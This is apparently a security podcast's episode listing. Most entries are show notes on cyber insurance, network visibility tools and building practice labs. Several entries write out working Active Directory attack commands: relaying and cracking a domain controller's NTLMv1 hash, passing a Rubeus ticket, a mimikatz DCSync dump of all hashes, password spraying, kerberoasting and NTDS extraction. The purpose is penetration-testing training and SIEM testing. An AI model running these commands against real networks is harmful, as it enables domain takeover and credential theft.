7MS #409: PCI Professional Certification (PCIP)

Today I sat down with Chris Furner of Blumira to talk about all things cyber insurance. Many of 7MinSec's clients are renewing their policies this time of year, and many are looking into policies for the first time. Naturally, there are a ton of questions to ask and things to think about to make good coverage decisions for your business: How do I get started in looking for a cyber policy - with my general liability insurer? Or are there companies that specialize just in cyber insurance? How do I make sure I have the appropriate levels of coverage? What are basic things I can do from a security standpoint that pretty much any insurer is going to expect me to do? Enjoy the interview, where we cover these questions - and more! And be sure to also check out Blumira's whitepaper on this topic called The State of Cyber Insurance.

24 Feb 202346min

Hey friends, I took a mental health break this week and pre-podcasted this episode of a new series called 7MOOCH: 7 Minutes of Only Chuckles. In today's story, we unpack a situation in Hawaii that made me exclaim the following quite loudly: "Dolphin rides are done, dude!"

17 Feb 202312min

Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood): Change the Responder.conf file like so: ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788 Run Responder with --disable-ess flag sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess Use printerbug to coax authentication from a domain controller: sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX Convert hash to make it easier to crack! sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds! Now you can do a Rubeus asktgt with the DC hash: rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!! rubeus.exe ptt /ticket:TICKET GOES HERE Use mimikatz to dump all hashes! mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv

10 Feb 202322min

Today we continue part 2 of a series we started a few weeks ago all about building a vulnerable pentesting lab. Check out the video above, and here are the main snippets of code and tips to get you going: Use Youzer to import a bunch of bogus users into your Active Directory: sudo python ./youzer.py --generate --generate_length 20 --ou "ou=Contractors,dc=brifly,dc=us" --domain brifly.us --users 1000 --output lusers.csv Make a Kerberoastable user: New-AdUser -Name "Kerba Roastable" -GivenName "Kerba" -Surname "Roastable" -SamAccountName Kerba -Description "ROASTED!" -Path "OU=Contractors,DC=brifly,DC=us" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -force) -passThru -PasswordNeverExpires $true enable-adaccount Kerba setspn -a IIS_SITE/brifly-dc01.brily.us:77777 briflyus\kerba

7 Feb 202322min

Today we're talking about Teleseer, which is an awesome service to give you better network visibility - whether you're on the blue, red or purple team! It all starts with a simple packet capture, and ends with gorgeous visuals and insight into what the heck is on your network and - from a pentester's perspective - delicious vulnerabilities that may lie within!

27 Jan 20237min

Today's episode is brought to us by our friends at Blumira! Today we kick off a series all about building your own vulnerable pentest lab from scratch, specifically: Spinning up a domain controller with a few lines of PowerShell Installing Active Directory Domain Services Setting up an intentionally cruddy password policy Baking in the MS14-025 vulnerability P.S. if you're looking for a more automated/push-button solution to get up and going with a lab to play in, check out some of these options: https://github.com/Orange-Cyberdefense/GOAD https://automatedlab.org/en/latest/ https://github.com/microsoft/MSLab https://github.com/davidprowe/BadBlood https://github.com/cliffe/secgen https://github.com/WazeHell/vulnerable-AD

20 Jan 20237min

Today we're releasing version 1.1 of our Light Pentest eBook. Changes discussed in today's episode (and shown live in the accompanying YouTube video) include: Some typos and bug fixes A new section on finding systems with unconstrained delegation and exploiting them A new section on finding easily pwnable passwords via password spraying A new section relaying credentials with MITM6 (be careful using some of its options - read this New ways (and some words of warning) to dump hashes from Active Directory

13 Jan 20237min

Today we talk about Simple Ways to Test Your SIEM. Feel free to check out the YouTube version of this presentation, as well as our interview with Matt from Blumira for even more context, but here are the essential tools and commands covered: Port scanning nmap 10.0.7.0/24 - basic nmap scan massscan -p1-65535,U:1-65535 --rate=1000 10.0.7.0/24 -v - scan all 65k+ TCP and UDP ports! Password spraying Rubeus.exe spray /password:Winter2022! /outfile:pwned.txt - try to log into all AD accounts one time with Winter2022! as the password, and save any pwned creds to pwned.txt Kerberoasting and ASREPRoasting rubeus.exe kerberoast /simple rubeus asreproast /nowrap Key group membership changes net group "GROUP NAME" user-to-add-to-a-group /add Dump Active Directory hashes cme smb IP.OF.THE.DOMAINCONTROLLER -u user -p password --ntds --enabled ntdsutil "ac i ntds" "ifm" "create full c:\dc-backup" q q SMB share hunting Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\output - SMB enumeration using PowerHuntShares

6 Jan 202359min